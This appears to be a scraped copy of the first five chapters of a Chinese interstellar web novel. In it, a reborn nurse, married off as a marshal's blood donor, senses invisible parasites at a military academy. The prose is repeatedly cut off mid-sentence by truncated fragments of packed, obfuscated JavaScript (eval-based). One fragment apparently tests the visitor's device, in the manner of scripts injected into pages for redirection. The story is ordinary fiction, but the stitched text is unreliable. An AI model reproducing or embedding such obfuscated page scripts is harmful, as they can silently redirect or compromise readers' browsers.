《我决定先不当人[星际]》 1. 隐匿 澄栖眼睛一睁开,发现自己额头上顶着一把枪,而周围,被穿制服的队伍围了个水泄不通。 她头一次看见枪这种东西,连大脑都来不及反应,一片空白。 “夫人,您考虑清楚了吗?”拿枪指着她脑袋的男人问她,语气和善,手上的枪也是丝毫不晃。 考虑?考虑什么? 她只是跟着带教老师,在医院连着值了两个夜班,打了个盹。怎么着,还没醒? “你们找错人了。”澄栖试图冷静地和对方交流,“而且,在我们国家,持枪犯法,你们这样恐怕得进局子。” 对方对于澄栖装傻的反应没有半分意外,虚伪的笑容一成不变,“夫人真幽默。我总不可能认错人认错五次吧?而且夫人放心,在联邦,持枪是合法的。” 联邦?美联邦?英联邦?还是—— 澄栖某一瞬间突然福至心灵,“现在是什么年份?” 男人对于澄栖的反应早有预料,手腕一翻,通讯手环在空气中显现出关于时间的三维投影。 “星际纪年,第一千四百八十四年,十月十四日,下午三点十五分。这里是拉斯维联邦主星,您是元帅的妻子,澄栖女士,而我,是元帅的副手,何希南。” 澄栖心脏咯噔一响,荒谬的想法好像成真了……她真猝死,然后穿了。怎么会呢,只是觉得累了趴在桌子上休息一下,就死了?就这么轻易就死了? 就算死了,就算投胎,她上辈子没做什么亏心事,也不至于睁眼就被人拿枪顶着脑袋啊。 “不好意思,我好像失忆了。” “夫人不会又要说自己失忆了吧?” 澄栖和何希南同时说出来一句话。 澄栖觉得有些尴尬。 “没关系,夫人,您已经是第八次失忆了。就算是失忆,相比回军校读几天书,就又能想起来了。” 澄栖觉得,自己从何希南话里听出来的暗暗嘲讽应该不是假的。 但是读书,总比在这里被人拿着枪抵脑袋好些吧? 她郑重点头“好,我会回去读书的。” “真的?”这么爽快,何希南不得不怀疑澄栖还有什么后手。 “真的,现在我们就可以回去。”澄栖郑重强调。 为了表示自己愿意读书的诚意,虽然尴尬,但澄栖还是询问,“那个……我在学校学什么专业?我是真的失忆了。” 何希南脸上依旧挂着虚伪的笑,回答道,“星际寄生虫学,夫人。至于失忆?这就更好办了,鉴于您失忆的次数过多,我早就准备了资料,夫人可以在回军校的路上慢慢看,一定能让您早日恢复记忆。” 一叠资料在何希南手中凭空出现,递到了澄栖眼前。 星际寄生虫学是什么?澄栖不清楚,但是头上枪口的触觉很清楚。不知道星际寄生虫学是什么很重要吗?澄栖觉得,和她的小命相比,完全不重要。 “我会好好研究的。”澄栖冷静地把资料拿过来。 何希南看着她,将信将疑收了枪,对着坐在地上的澄栖伸出手,拉她起来。 这是相信的意思了。澄栖终于松了一口气,搭上了对方的衣袖。 一秒,两秒…… 她的手掌颤抖了一下。大白天的还能见到鬼?澄栖伸出的手掌只留了三根手指在何希南的衣袖上,往下一按,然后迅速抬起来。 确认过自己没判断出,她逼自己镇定下来,声音里带着颤音,开口道,“何大人,你的衣服有脉搏?星际的科技已经发展到这么厉害的程度了吗?” 澄栖相信自己的手不会感受错,跟着业界大拿学了数年,好歹也是老师亲口承认过她可以出师的。 “你说什么?”何希南脸上的笑容淡下去,充满了不信任和疑惑。 澄栖深吸了一口气,看着他这个反应,知道怕是跟新科技沾不上边了,她三根手指重新按回了刚刚碰到的地方,然后顺着脉搏的搏动,找到了整件衣服搏动最明显的地方,在何希南的肩膀上。 澄栖示意何希南把手指按上去。 何希南摸着自己肩膀上轻微的搏动,暗骂一声,拿出来一瓶喷雾一样的东西,对着自己身上各个部位喷了一遍。 澄栖看着在他喷过喷雾过后,黑色的衣服上突然显现出来白色的菌丝一样的纹路,蠕动挣着,随着喷雾量的增加,最后变成一节一节,掉到地上。 周围穿着制服的人同样取出喷雾,往自己身上狂喷。白色菌丝一样的东西唰唰唰往地上掉。 澄栖的后背发凉,忍住自己想要呕吐的冲动,默默往后退了两步,拉开他们之间的距离。 “夫人不要担心,只是最低等级的寄生虫而已,除了寄生在没有生命的物体上苟延残喘,暂时没有任何威胁。这个地方会通知相关部门来做详细清扫的,我们现在还是赶紧回去吧,毕竟,夫人下午好像还有课。” 因为刚刚的事情,何希南看着澄栖的眼神发生了变化,连语气都变得和善许多。 澄栖点头,语气讪讪,“那就好,那就好。” 好个什么啊,他说这是什么,寄生虫?就是她接下来要学的那个星际寄生虫学? 能寄生在衣服身上,看不见,只能摸到细微脉搏,难道不够恐怖?还别担心,别担哪门子心? “所以,寄生虫就是……能寄生在衣服上的虫子?”澄栖问。 何希南有些怀疑地审视她,好像在考虑她的反应到底是真的还是装出来的,半响才回答澄栖的问题。 “不是。联邦最早发现寄生虫是在一头猪的体内,吸食猪的血液和营养,和远古文明里寄生虫的能力很像,所以寄生虫的叫法就流传下来了。” “但后来研究人员才发现,完全不一样。寄生是他们最不值得一提的能力。像刚刚那种只能寄生在没有生命物体上的,只是最低级。总之,寄生虫的名字其实不太准确,叫他们怪物,或许更合适。” 何希南突然笑了,意味深长,“夫人是学这个的,真的,一点都想不起来了吗?” “嗯,可能有点印象吧。”被怀疑,澄栖不敢再问了。 —————— 坐在飞行器上的时候,澄栖终于对自己已经到另一个世界有了实感。 飞行器外面,是建立在空中的高楼,依托在云上,完全违反了重力法则。各式各样的飞行器在它们既定的轨道上行驶。空中是科技发达的钢铁城市,至于地面,则是森林公园和湖泊。 收回视线,澄栖低头看着这一叠资料,捏了捏自己的眉间。 情况不是很妙,各方面的不妙。首先是她的身份,元帅妻子,名义上好听,实际上是联邦趁元帅受伤昏迷强行塞过去冲喜的,一个从无名下等星找来的孤儿。 这个冲喜是真的冲喜,因为血液特殊,能够维持元帅的病情,名为妻子,实则是人形血包。 然后是读书。为什么要去读书?因为作为文盲被嫌弃了。澄栖仔细核对入学时间和结婚日期,确定自己应该是还没见到元帅的面,就被打包塞进了军校。 这字里行间,满篇都写着“阴谋”两个字。一脚踩进阴谋大坑,澄栖整个人都不太好。 但是没办法,她的余光扫过周围的人,每一个人身上都配备着枪。 她自认为还算是一个识趣又惜命的人。 走一步看一步吧,澄栖闭上眼睛,靠在座椅背上假寐。 何希南亲自把澄栖送进校门,“夫人,晚上八点,我会来接您回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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得到回复,老师按下讲台上的红色按钮,四周瞬间变成铜墙铁壁将实验室围起来,讲台还单独升起来一层玻璃罩子,防止老师帮学生们作弊。 同学们手里凭空出来各种各样的武器,谨慎观察四周。 澄栖知道这些武器是从哪里出来的,空间扣,先前何希南用的也是这个。星际一种能够折叠成扣子大小随身携带的小型空间。 一根电棍扫在空气里,骤然间发出电击细小的爆鸣。 “在这里,它在这里!” 顿时所有人拥上去,“抓住了吗?” “快找对应的驱虫剂!” “不好,它跑不见了!” 学生们背靠背围成一段,小心翼翼在空气中挥动。 “在这里!” 这次学生们显然镇定得多,围着最早发现的地方,继续寻找寄生虫剩下的身体。 他们发现了寄生虫,很快又用几种驱虫剂一一尝试,很快锁定了一种有用的,两只透明不可见的寄生虫在驱虫剂的作用下,露出了它们真实的样子。 肥硕的青灰色圆柱体,每一条,都大概有一米长,和澄栖在何希南身上看到的类似菌丝的寄生虫完全不一样。 难怪星际要专门开设寄生虫学呢,不同的寄生虫差别这么大,除了寄生这一点相同,其他的没有半点相似。 “我们成功了!”学生击掌欢呼。 澄栖站在角落里微笑看着他们,也无声为他们鼓掌,少年意气最难得,放在这群年轻人身上再合适不过。 可一瞬间,她脸上的笑容就消失不见。 这个教室里,不止两条寄生虫! 还有一条! 她为什么会知道?因为——澄栖的手指,碰到它了。 2. 安澜 而且这一条,显然比刚刚那两条小的,体型大的多。 澄栖摸到寄生虫的手轻微发抖。 手指上的触觉非常灵敏,只是搭在寄生虫身上,就能够透过皮肤,感受到内里血管的搏动。 这已经完全超越了她上辈子所学的医学范畴,澄栖自己都不知道为什么她能摸出来。 可能她再活一次,也变异了吧。 澄栖一下一下数,模拟着血管流动的方向,逐渐模拟出整只寄生虫的形状。 脉搏跳动得很快,很急,这只寄生虫,很……愤怒。 它的身体在绷紧,像是在做攻击前的准备。 不好! “快躲开!” 澄栖冲着那群聚集的学生喊道,而她自己,摸起一把手术刀,就逆着寄生虫脉搏跳动的方向一路往前滑。 看不见,但是滴答滴答的声音滴落在地上,还有空气里发出渗人的叫声。 学生的脸瞬间白了,举起来驱虫剂往声音传出来的方向喷。 没有任何作用。 驱虫剂不起作用,这根本就不是低等级的寄生虫! “怎么回事,老师不是说今天解剖的寄生虫是最低等级的寄生虫吗?怎么会这样?!” 看不见,根本就看不见寄生虫在哪里!这要怎么办? 学生紧张拍打玻璃,想要提醒老师发生了异常,可那扇玻璃后的老师,也突然被什么东西卷到空中,狠狠甩到玻璃上,这一击,玻璃轰然塌陷,居然,还有一条寄生虫吗? 老师强撑着半跪在地上,咳嗽两声,空间扣里的枪瞬间出现在手上,凭感觉朝着寄生虫的方向射击。 透明的空气里又出现尖锐渗人的叫声,随后,一切声音都停止了。 两条寄生虫失去了全部踪迹。 澄栖看了一眼自己手背,被碎玻璃划出来的伤口,鲜红的血液滴到了地上。 而后,地上的红色血液里,又出现一滴青灰的液体,很快,红色血液冒着细小泡沫,将青灰完全吞噬。 澄栖的心脏狠狠一缩,瞳孔紧张地放大,悄悄挪了一步,脚下擦掉那滴发生那个反应的血液。 她的这具身体,果然不对劲。 “我已经向清扫部队报案,你们都是军校生,哪怕只是后备研究人员,却是和寄生虫打交道最多的!现在这种突发情况以后你们会遇见无数次!坚持下去!” 这是这群学生首次面对真正的死亡威胁,在此之前,他们其中有些人,甚至连寄生虫都没见过。 “你看得见它们?你来射击。” 老师又从空间扣里掏出来一把枪,递给澄栖。 澄栖握在手上,只觉得冰冷的枪身此刻无比烫手。 “抱歉,我不会用枪,而且,我也看不见寄生虫,我只有摸到,才知道它们在哪里。” “你不是——”老师的声音瞬间拔高,又骤然停止。 澄栖看清楚了他的嘴型,他没说出口的字,是“元”。他想说的是,她不是元帅的妻子?而作为元帅的妻子,势必有什么地方和常人不一样。 澄栖抿嘴沉默。 “抱歉,澄栖同学,我没有针对你的意思,联邦说你的血脉特殊,加上你刚刚准确预判了寄生虫的动作,我还以为你能看见,抱歉。” 澄栖摇摇头,叹了一口气,想到刚刚自己手指上的异常,说,“我试试找它们吧。” 她把自己被玻璃划伤的那只手藏起来,伸出另一只手,闭上眼睛在空气中细细摸索。 那两只寄生虫的体型都很大,不会真消失得无影无踪。 找到了。 倏然间,澄栖睁开自己的眼睛。众人的注意力都在她手上,没人注意点,澄栖的眼睛里,瞳孔有一瞬间像水一样扩散,又收回来变得正常。 澄栖对着自己感受到的寄生虫动向就是一把手术刀甩出去。 空气里果然发出一声尖锐的惨叫,手术刀在空气里打着圈乱晃。 同学忍不住惊呼,小声议论。 “我靠,这是直接插进寄生虫身体里了?” “这么牛?” “她不是从下等星来的?” 老师的反应也很快,对着手术刀的地方连补三枪,等到寄生虫的动作变慢,又往寄生虫伤口的地方硬生生塞了一瓶驱虫剂,然后一枪打爆。 手术刀转动的幅度越来越小,那只寄生虫的躯体也在驱虫剂的作用下逐渐显现出来。 和刚刚学生们杀死的寄生虫相比,除了颜色有些许变化外,能够确定是同一物种。 澄栖看着寄生虫倒在解剖室的躯体,心情沉重,“清扫部队,还没有来吗?” 还有一只寄生虫找不到。而这一只的死亡,必定会引起剩下那一只更加剧烈的报复。 “最快也还需要十分钟。”老师的面色也很沉重 十分钟。十分钟足够剩下那只寄生虫在这里大开杀戒杀一轮了。 澄栖深吸了一口气,孤注一掷,闭上眼睛,更加仔细最后一条寄生虫的动向。 可是什么都没有摸到。 手上摸到的东西,除了空气,什么都没有。 不可能,剩下一只寄生虫不可能消失,那它到底会在哪里? 某一瞬间,澄栖突然福至心灵,蹲下来,伸手往地上已经死掉的寄生虫身上摸,在那只寄生虫尸体往上一个手掌的位置,澄栖的心中闪过了然。 果然如此。空气里找不到,是因为这只寄生虫在试图寄生到它死去的同伴身上。 找到位置,澄栖迅速往后退,但还是太迟了。 下一刻,她的身体就被卷到了空中,这只寄生虫的尾巴,死死缠住她的脖子,就那样死死勒着她,一点点加重力量。 老师的枪声瞬间而至,然而这次,子弹甚至被寄生虫的皮肤反弹到解剖室的玻璃上。 澄栖的感受非常不好。 肺里的空气一点点被压榨干净,大脑一点点变得模糊,她很清楚,自己正在逼近死亡。这只寄生虫,甚至拥有了一点思考的能力,它知道怎样折磨着让人死去。 澄栖还不想死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就是你。” 平心而论,她也觉得安澜很好看,高挑的个子,深邃的五官,尤其是,她身上真的带着强者才有的气息。 澄栖跟着安澜走到她的长刀旁边,看着她从空间扣里拿出来一瓶没有标识的驱虫剂。 “这是军部特制的驱虫剂,用来对付中级及以上寄生虫的。”不知道是不是看出来澄栖感兴趣,她特意解释一句。 驱虫剂一喷,寄生虫终于显现出身影。澄栖最先看见的,就是它肉质的头,没有五官,只有不断蠕动的肥肉,有些恶心。 安澜的长刀稳稳插穿寄生虫的脑袋,插进地里,不管它怎么挣扎,长刀巍然不动。 安澜提起驱虫剂递到澄栖手里,盯着寄生虫挣扎,神色冰冷,“你来杀死它。” 3. 研究员 “好。”澄栖也不矫情,提了杀虫剂就往寄生虫身上喷。 看着它挣扎得越来越狠,安澜手握刀柄,左右转动着一绞,寄生虫彻底失去挣扎的能力。 澄栖把驱虫剂均匀喷洒在寄生虫表面,伸出手指往下按,确定它真的没有生机了,把驱虫剂递给安澜。 安澜没有接,反而是注意到她手上的伤口,丢给她一圈绷带,“你手伤了。” 澄栖接过绷带,说了声“谢谢”,心里的疑问在扩大。 安澜对她也太好了一点,她难道不知道自己是联邦塞给元帅冲喜的妻子? 安澜看着解剖室的学生和老师,说,“不是在上解剖课?组织学生继续解剖吧,这几只寄生虫一只是中级,一只临近中级,剩下两只是低级的,机会难得。” 学生们一下子兴奋了。 老师有些迟疑,“安澜少将,这……”这些寄生虫,来历不明。今天的解剖课,本来应该只有两条低等级的寄生虫才对。 安澜对老师淡淡点头,“是出了问题,清扫部队会过来立案追查,我在这里陪学生一起解剖,不会出事。” “那就好,那就好。”老师从安澜身上,扫到站在安澜身边的澄栖身上。 澄栖看着同学们开始动作,默默在一边看着。 看了一些,澄栖觉得差不多了,选了一部分,开始尝试解剖。 这是中级寄生虫的躯体,它的皮很厚,中间还夹着血管神经什么的,要想完整将皮肤组织一层一层分离开,并不是容易的事情,而且澄栖对于寄生虫的身体构造,并不清楚,只好一边回忆同学们的动作,一边小心翼翼剔开血管。 “错了。”安澜不知道什么时候站到了她身后,无声无息,她竟然一点感觉都没有。 澄栖后背发凉。 而安澜和她的距离更加近了,她站在澄栖身后,一只手搂住她的腰,一只手伸手握着她的手,带着她准确无误划出来那条被澄栖剔断的血管。 “清楚了吗?” 她们的距离太近了,近到安澜的呼吸全部撒在了澄栖的耳朵上。 “……清楚了。”澄栖心中警铃大作,这位安澜将军,好像在做一些给元帅带绿帽的事情。 很劲爆,如果当事人不是澄栖,她一定会很愿意见证八卦发生。但落到自己身上,她手上的刀要拿不稳了。 “安澜!” 门口,何希南匆忙和清扫部队一起赶过来,一眼就看到安澜和澄栖在一起,只觉得眼前发黑,连忙叫了一声。 澄栖抬头,和何希南的视线对视上。 莫名其妙,澄栖居然觉得有点心虚。 “何副将怎么有空往学校里跑?”安澜松开握着手术刀和澄栖的手,身体站直,双手抱臂,似笑非笑看着何希南。 何希南也终于恢复一贯平静,语气和善,但并未回复安澜的话,而是对着解剖室的其他人,“清扫部队来了,会对寄生虫进行详细检查,请老师和同学们先回去吧。” 学生哀嚎一片,都想继续留下了做实验,然而何希南脸上的微笑没有变过一丝一毫,态度也没有任何软化。 澄栖听见安澜轻“嗤”一声,拔出随手插在地上的长刀,第一个离开。 “安澜将军,好像有点不待见何将军诶。” “小声点!何将军和元帅天天待在一起,安澜将军……你懂的吧!” “我的天,我懂了我懂了,难怪!” 澄栖走在路上,听到周围的人小声讨论,无力望天。 何希南依旧开着送澄栖进学校的那辆飞行器,唯一不同的是,这次飞行器上只有他们两个人。 何希南看见澄栖提着那一罐驱虫剂上坐在副驾驶位上的时候,肉耳可闻地呼吸加重。 对付中级寄生虫的驱虫剂,是星际寄生虫研究院特供给军部的东西,谁能把这种东西拿出来轻飘飘地送人,这还用说吗? “夫人,你……不要去招惹安澜。” 澄栖转头,只觉得脑袋上顶着一堆问号,什么叫她不要去招惹安澜,她很安分好吗? “何大人,我今天第一次见到安澜将军,我想,再怎么也应该谈不上招惹。” 何希南沉默了,她们今天确实是第一次见面,但就因为是这样的第一次见面,这件事才变得更加棘手。 他的话语间充满了安抚的意思,“夫人,这并不是我的意思,只是元帅交代过,安澜对我们来说比较特殊,尤其是,安澜跟元帅……” “好的,我知道了,我以后会避着安澜将军走的。”澄栖的脸也冷了下去,径直打断了何希南的话。不用猜也知道何希南接下来要说些什么, “但是我也希望何大人清楚,嫁给元帅,也并非我的意愿,我们都是被联邦强行捆绑的人,从某种意义上来讲,我也是个受害者,如果可以,我想我是最希望元帅立刻醒过来,然后宣布离婚的人。” 何希南眉头微皱,想要解释,事情并不是她想的那样,但解释起来又涉及到他们对安澜的怀疑和元帅的昏迷的事情,到最后,何希南也只好闭嘴,任由澄栖误会。 看着他的沉默,澄栖冷笑一声,“何大人还是自己开飞行器走吧,我今天不想回去。” “我不是那个意思。好吧,如果夫人觉得住在外面更舒服一点,当然可以。” 何希南递给她一把钥匙,“我在联邦军校附近有一套房子,比较安全,算是我给夫人赔罪。” 澄栖把钥匙随手丢在飞行器的座椅上,“不用了,何大人的赔礼太贵重,还是留着自己吧。” 说完,澄栖走下飞行器,七弯八拐走进巷子里,甩开了何希南。 确定他确实已经离开后,澄栖才从巷子的另一头出来。 澄栖看着自己手上被绷带缠得严严实实的伤口,有些无奈。 转身,跟着地图导航就到了联邦星最大的图书馆。 她要弄清楚,自己这一身血,到底有什么不对劲。 一夜未眠……进度,一点没有。 澄栖盯着两个黑眼圈,面无表情搭上了去学校的飞行器。 教室的氛围很是严肃,澄栖提前二十分钟到时,教室就已经整整齐齐坐满了人,澄栖找了个不起眼的后排坐着,继续翻从图书馆借来的书。 “澄栖,跟我来办公室一趟。”老师从后门进来,正好站在澄栖身后,吓得她差点把书都丢了。 “来了。” 老师说有人找她。 澄栖以为是何希南,甚至连安澜都想过了,但最后见面了,才发现又是一个不认识人。 一个穿着白大褂的老头,一头银灰色掺杂的头发跟鞭炮崩过似的,衣服上标着“星际寄生虫研究院”。 他的手环将昨天的解剖室里的监控清晰投影在空气里,在看到澄栖动作的那部分,甚至单独把人截下来,一帧一帧分析。 澄栖的肌肉紧绷起来。昨天老师交到她手上的枪后来也没有收回去,澄栖思考着,如果这个老头发现什么不对劲,自己杀掉他然后逃跑的概率有多大。 好吧,其实是零。 老头看着录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但她脑袋上的问号越来越多了,什么叫从安萨斯的地牢里塞进元帅府?如果她没记错,安萨斯·拉斯维,应该是联邦的皇帝陛下吧? 她不是一个从下等星上来的文盲小可怜吗?怎么会是皇帝地牢里的人?那她是什么人? 还有,星际寄生虫研究院这么高大上的名字,真的是这么简单就可以进的吗? 对此,老头的解释也很简单,“那我怎么知道,就是发现你的血液特殊,想把人留下来就留了。”至于她为什么会在皇帝的地牢里,又到底是什么人,不感兴趣。 “至于星际寄生虫研究院嘛,”老头一副你捡着大便宜的表情,“你说得对,确实不可以随便进,好歹是联邦最高科研机构呢。” “不过,研究院会特招血脉特殊的人类参与寄生虫研究,并且授予研究员职称。你很幸运遇上我了,我是一级研究员,能以你的血液研究单开一个课题,并且让你完全独立自主,不受任何人控制地研究你的血液。” 老头一下子说太多话,嘴巴都有点干了,喝了一口水,有点不耐烦, “问了那么多,你到底加不加入研究院?” “加,但是我希望暂时保密,您也知道,我现在的身份有些特殊,关于血液的事情我不想让太多人知道。” 澄栖把满心的疑问憋会肚子里,好吧,还是她自己从自己身上来找答案吧。 老头这下高兴了,看着澄栖满意点头, “当然没问题。欢迎你加入星际寄生虫研究院,我是你的担保人,一级研究员程三光,我会向上面打报告,以后你就是研究院的六级研究员澄栖,祝你早日晋升成一级研究员,也祝你早日研究出对抗寄生虫的武器。” 4. 寄生虫——朝暮(一) “谢谢您,我会努力的。”澄栖微笑着和老头握手。 一离开办公室,她转头就蹲在厕所隔间里拿手环搜那个老头的名字。 程三光。后面的头衔和奖项一大堆,他没有撒谎,确实是星际寄生虫研究院的一级研究院。 哪怕是整个联邦加起来,一级研究员的数量也屈指可数。 老头还兼任联邦军校附属研究院的科研副院长,昨天学校里出了那种事情,居然让一年级的新生们遇到了中级寄生虫。研究院确实该管事。 他翻看监控录像然后发现澄栖的异常,一步一步,好像没有什么说不过去的,但是澄栖问自己,真的有那种逆天的运气,什么都没做,就得到了一位大佬的赏识吗? 她对此持保守态度。 网页划出去,何希南的号码完整呈现在手环上方,只差一个拨通。 何希南是元帅的人,和她没有利益瓜葛,甚至在当前一段时间里,说是利益共同体也不为过,如果要知道程三光的真实意图,求助他是最好的选择。 澄栖看着何希南的号码愣了半响,闭上眼睛都能都能直接在脑海里完整复制出来每一个数字。 到最后,澄栖还是关上了手环。 程三光有一句话说得没错,如果她要弄清楚这具身体到底是什么情况,为什么会进到这具身体里再活一次,研究院是最好的选择。 而且,一想到她当前尴尬的处境,澄栖觉得,自己确实需要做点什么才能考自己在星际站稳脚跟。 那就,先偷偷苟着成长吧。 何希南的通讯突然打过来,吓得澄栖差点以为自己误拨了。 “夫人,您气消了吗,我中午去学校接您。” 何希南的语气是和善的,态度却很强硬。 “下午有课。”澄栖随口敷衍。 “已经帮您请假了,夫人。您是不是忘了今天是什么时间?” 今天? 澄栖从通讯页面返回去一看,八月十五日。 “哦,行。” 她确实差点忘了。 联邦把她塞给元帅冲喜的理由是血脉特殊,对元帅的病情有帮助。 联邦确实没有撒谎,她一个月给元帅输三次血,他的病情越来越稳定。否则何希南早在原身第一次逃跑的时候就顺势把人弄死了,还抓人抓了七八回? 今天是这个月第二次输血。 行走的血包。再次对自己的身份有确切感受,澄栖还是觉得命苦,她真的有点想逃了。 ** 程三光见完澄栖并没有回研究院,低调地驱车到了军区。 守门的卫兵什么也没问,直接带人拐进一栋院子。 在主星军区有这么大地方的,职位至少在将级以上了。 “将军,她答应了。地牢的事情也告诉她了,但她还没有想起来。” “嗯,好好带她。” 今天主星的天气不错,说话的人半躺在窗边晒太阳,她转过身,赫然是一张熟悉的脸,安澜少将。 “她现在爱干什么干什么,等原颂醒过来和澄栖离婚,她在联邦的身份过明路了,再跟她提其他东西。” “对了,她今天状态怎么样?”昨天刚经历生死,手上还有那么长一条口子,也不知道缓过来没有。 程三光摇头,“看起来还行,但中午被何希南接走了,今天是十五。” 安澜晒太阳的闲情被这句话扰得一点不剩。他们显然都很清楚十五意味着什么。 “好,我知道了。” ** 如果知道安澜的担忧,澄栖肯定会感动的。 她现在的状态真的不太好。 昨天已经流了不少血,今天又被人抽血,她的面色和口唇肉眼可见地发白。 何希南看着半躺在椅子上一动不动的澄栖,心里闪过一丝不忍。 “今天就抽这些。” “好的,何大人。” 澄栖听到这句,终于撑着力气睁开眼睛,看了一眼何希南,没说话,又闭上眼睛,换了个姿势半躺着。 医生利落地拔出来针头,带着那一代血去做后续处理。看着手上满满一袋,他摇摇头,觉得有些惊讶。 也是见鬼了,何大人居然有点人情味了。 “夫人,营养液。”何希南把整整一罐营养液递到澄栖嘴边。 澄栖缓慢坐起来,喝了一口就把罐子放下来,再多的营养液,她吸收不了也是白费。 “有饭吗?我想吃饭,还有肉。”她还是不太适应星际这种一支营养液管十天半月的生活。 “我马上安排人准备。” “行,那我先去睡会儿,好了叫我。” 澄栖上了二楼。 二楼原来全是客房,三楼是主卧和书房,澄栖来了之后,就把二楼也加了主卧和书房,正好在三楼主卧的下面。 这点真的没话说。虽然澄栖被联邦强行塞过来,但该有的待遇一点没少,电视剧里那种羞辱的情节完全没有,星际人的素质果然够高。 卧室被打扫得很干净,干净得不像是有人住,这是澄栖第一次回到原身住的地方。 衣柜里的衣服大多是新的,整整齐齐挂起来,连化妆品也没有,唯一的私人物品大概只有寄生虫专业的教材。 看得出来原身真的很不喜欢这个专业了,教材没两本完好无损,不是被剪得凌乱,就是拿笔划得漆黑一片,澄栖伸手摸了摸最上面那本《星际寄生虫发展史》上的墨迹,半瓶墨水的量是有的,墨迹还没有干完。 应该是泼墨的时间比较近,加上天气湿润的原因。毕竟她都看到窗边的小绿植叶子上有水滴了,十月份正是秋雨绵绵的时候,这种天气里,墨迹是干得慢些。 澄栖微微叹气,强迫症犯了,还是打算先收拾完这一堆教材再去睡觉,正好看看到底有多少教材不能用,等一会儿吃饭的时候可以让何希南给她再准备一份新的。 倏然间,澄栖收拾课本的动作越来越慢,反应过来不对劲。 大下午的,绿植的叶片上,怎么还会有这么多的水滴?星际的绿植应该还没有脱离植物的范围,丧失蒸腾作用吧?而且,其实今天的天气还不错。 那会是什么呢?又是寄生虫? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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澄栖的手连接触到桌面都做不到,只有被强行逼停动作产生对冲的力量震得她整条手臂都麻了。 “何希南!救命!咕噜咕噜——”澄栖的声音几乎要撕裂,然后被水堵住了嘴。 她希望最开始两声被听见了,何希南再不来,她恐怕要被这个不知道什么的怪物给吸干血吸死了! 她眼睁睁看着那团水包裹了她手上的伤口,澄栖双腿发软,一咬牙,屏住呼吸,用枪对准了自己的手。 舍一条手臂抱一条命。哪个更重要她还是分得清的。 然而水团分出一小部分,又包裹住了她手里的枪。 澄栖只觉得绝望。 这个不是元帅府吗?到底是干什么吃的,这种地方还能让怪物肆无忌惮混进来,难怪元帅现在都还昏着! 下一刻,水团在她的伤口上,轻轻晃动起来。 吸血?不,没有吸血的感觉。为什么没有吸血的感觉? 澄栖怔怔地看着自己的手掌,伤口弥漫的疼痛逐渐变缓,水团将她伤口处溢出来的血堵住,然后,干净的绷带重新缠到了澄栖手上。 这个怪物,居然还会给绷带打结。 5. 寄生虫——朝暮(二) 澄栖伸出自己的手,放到和自己的视线同等高度,仔细观察。 对方好像是发现她在观察,微微摇晃,像是被春风拂过一样轻微。 因为自己的手完全被包裹,澄栖的手指不仅能够感受到水团冰冰凉凉的触感,还有水团里细微的蠕动的感觉,吓得她浑身紧绷。 澄栖带着这一团水走到了洗漱台,把手伸进了洗漱池里。水团好像看懂了她的意思,顺从地从她手上转移到洗漱池上。 她伸手摸了摸水团,一切和善美好。 下一刻,澄栖的神色一冷,拔腿就跑,死死关紧最近的一扇门,在门外高声呼喊,“来人啊,救命!救命!何希南!” 人在面临一头露出獠牙的猛兽示好时会怎么办?恐怕只有有病才会相信它真的不会攻击人吧?就算现在不攻击,等它哪天想要攻击的时候,一口就能把人吞了。 澄栖还没有那么大的自信心确定那个水团真的不会攻击她。 身后的门越来越不对劲。推力越来越大,不是猛然间增大,而是一点一点增加,像是将人的希望一点一点熄灭。 “救命!”为什么还没有人来!她不是血包吗?血包都不能得到足够的重视? 澄栖撑不住了,门咔嚓一下彻底破开,澄栖被那股力量推得一个趔趄,她回头,终于看清楚自己身后到底是怎样一副情景。 满间屋子都是水,流动着,蠕动着,蜂拥着向澄栖袭来。 有速度快的水团试图绕到澄栖前面,阻止她摔倒,可水的数量太多,看起来反而像是要将她彻底溺死在这里。 何希南带着人推开门进来看到的就是这副场景。 他瞳孔骤缩,手里驱虫剂迅速出现,丢到漂浮在空中的水里,一枪打爆驱虫剂罐子。驱虫剂混着水,无数水滴从空气中掉到地板上,细细一看,才发现地上的哪里是水滴,而是无数蠕动着的半透明细小虫子。 人的密集恐惧症要犯了。 澄栖来不及想为什么这下子驱虫剂又变得有用起来,她也迅速从空间扣里提出来驱虫剂,对着漫天漫地地水疯狂喷,一层一层的虫蠕动着掉在地上,足足有一根手指厚。 何希南一按手环,一套完整的战服套在身上。他伸手把澄栖往外推。 “赶紧走!” 澄栖难道不想走吗,一团水挡在她的腰间,力量不比何希南小,死死挡着她。这个推动的力量,再熟悉不过,是她刚刚怎么都没办法甩掉的那团水。 澄栖不着痕迹把手从腰间扫过,直接抓着那团水握在手里,恨不能掐死它们。 水好像以为她在和它们玩游戏,沿着澄栖的衣袖往上爬。幸好此时所有人的衣服上都被水打湿,分辨不出来。 “带着夫人去安全的地方!务必确保她活着!” 何希南把澄栖推向离她最近的一名队员,这一次,终于推得动了。 那名队员二话不说,拎着澄栖的衣袖往外跑。澄栖这才发现,何止是那一间房子里有水,连楼梯里都是滴滴答答流不尽的水,平时别墅里能见得到的人,此时全都拿着枪和驱虫剂。 队员把澄栖塞进了车里,他也准备进来的时候,被澄栖制止住,“你去帮他们,告诉何希南,等结束来学校找我。” 队员有些迟疑。 “愣什么愣,他们那边现在更需要人,我要是路上真的出事,多一个人也只会是多一个人送死!” 